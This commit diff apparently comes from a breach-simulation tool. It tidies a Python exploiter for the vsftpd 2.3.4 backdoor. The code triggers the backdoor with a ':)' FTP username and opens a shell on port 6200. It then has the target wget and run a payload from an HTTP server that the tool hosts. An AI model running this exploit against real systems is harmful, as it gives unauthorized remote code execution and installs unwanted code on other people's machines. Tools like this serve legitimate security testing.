Post merge fixes
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61e04c796d
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@ -4,39 +4,34 @@
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only vulnerable version is "2.3.4"
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"""
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import StringIO
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import logging
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import paramiko
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import socket
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import time
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from common.utils.exploit_enum import ExploitType
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from infection_monkey.exploit import HostExploiter
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from infection_monkey.exploit.tools import build_monkey_commandline
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from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
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from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
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from infection_monkey.network.tools import check_tcp_port
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from infection_monkey.exploit.web_rce import WebRCE
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from logging import getLogger
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LOG = getLogger(__name__)
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__author__ = 'D3fa1t'
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FTP_PORT = 21 # port at which vsftpd runs
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BACKDOOR_PORT = 6200 # backdoor port
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RECV_128 = 128 # In Bytes
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UNAME_M = "uname -m"
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ULIMIT_V = "ulimit -v " # To increase the memory limit
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UNLIMITED = "unlimited;"
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USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
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PASSWORD = b'PASS please' # Ftp Password
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FTP_TIME_BUFFER = 1 # In seconds
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FTP_PORT = 21 # port at which vsftpd runs
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BACKDOOR_PORT = 6200 # backdoor port
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RECV_128 = 128 # In Bytes
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UNAME_M = "uname -m"
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ULIMIT_V = "ulimit -v " # To increase the memory limit
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UNLIMITED = "unlimited;"
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USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
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PASSWORD = b'PASS please' # Ftp Password
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FTP_TIME_BUFFER = 1 # In seconds
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class VSFTPDExploiter(HostExploiter):
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_TARGET_OS_TYPE = ['linux']
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_EXPLOITED_SERVICE = 'VSFTPD'
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def __init__ (self, host):
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def __init__(self, host):
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self._update_timestamp = 0
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super(VSFTPDExploiter, self).__init__(host)
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self.skip_exist = self._config.skip_exploit_if_file_exist
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@ -46,13 +41,13 @@ class VSFTPDExploiter(HostExploiter):
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s.connect((ip_addr, port))
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return True
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except socket.error as e:
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LOG.error('Failed to connect to %s', self.host.ip_addr)
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LOG.error('Failed to connect to %s', self.host.ip_addr)
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return False
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def socket_send_recv(self, s, message):
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try:
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s.send(message)
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return s.recv(RECV_128).decode('utf-8')
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return s.recv(RECV_128).decode('utf-8')
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except socket.error as e:
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LOG.error('Failed to send payload to %s', self.host.ip_addr)
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return False
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@ -60,35 +55,35 @@ class VSFTPDExploiter(HostExploiter):
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def socket_send(self, s, message):
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try:
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s.send(message)
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return True
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return True
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except socket.error as e:
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LOG.error('Failed to send payload to %s', self.host.ip_addr)
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return False
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def exploit_host(self):
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LOG.info("Attempting to trigger the Backdoor..")
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ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
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ftp_socket.recv(RECV_128).decode('utf-8')
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if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
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time.sleep(FTP_TIME_BUFFER)
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self.socket_send(ftp_socket, PASSWORD + '\n')
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ftp_socket.close()
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LOG.info('Backdoor Enabled, Now we can run commands')
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else:
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LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
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return False
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LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
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return False
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LOG.info('Attempting to connect to backdoor...')
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backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
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LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
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uname_m = str.encode(UNAME_M + '\n')
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response = self.socket_send_recv(backdoor_socket, uname_m)
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uname_m = str.encode(UNAME_M + '\n')
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response = self.socket_send_recv(backdoor_socket, uname_m)
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if response:
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LOG.info('Response for uname -m: %s', response)
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@ -96,7 +91,7 @@ class VSFTPDExploiter(HostExploiter):
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# command execution is successful
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self.host.os['machine'] = response.lower().strip()
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self.host.os['type'] = 'linux'
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else :
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else:
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LOG.info("Failed to execute command uname -m on victim %r ", self.host)
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src_path = get_target_monkey(self.host)
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@ -109,8 +104,8 @@ class VSFTPDExploiter(HostExploiter):
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# Create a http server to host the monkey
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http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
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dropper_target_path_linux = self._config.dropper_target_path_linux
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LOG.info("Download link for monkey is %s", http_path)
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LOG.info("Download link for monkey is %s", http_path)
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# Upload the monkey to the machine
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monkey_path = dropper_target_path_linux
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download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
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@ -121,7 +116,7 @@ class VSFTPDExploiter(HostExploiter):
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else:
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LOG.error('Failed to download monkey at %s', self.host.ip_addr)
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return False
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http_thread.join(DOWNLOAD_TIMEOUT)
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http_thread.stop()
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@ -136,14 +131,13 @@ class VSFTPDExploiter(HostExploiter):
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run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
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# Set unlimited to memory
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run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
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# we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
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run_monkey = ULIMIT_V + UNLIMITED + run_monkey
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run_monkey = str.encode(str(run_monkey) + '\n')
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time.sleep(FTP_TIME_BUFFER)
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if backdoor_socket.send(run_monkey):
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LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
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LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
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self.host, run_monkey)
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return True
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else:
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return False
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@ -135,7 +135,6 @@ def init_api_resources(api):
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api.add_resource(AttackConfiguration, '/api/attack')
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api.add_resource(AttackTelem, '/api/attack/<string:technique>')
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api.add_resource(AttackReport, '/api/attack/report')
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api.add_resource(AttackConfiguration, '/api/attack')
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api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
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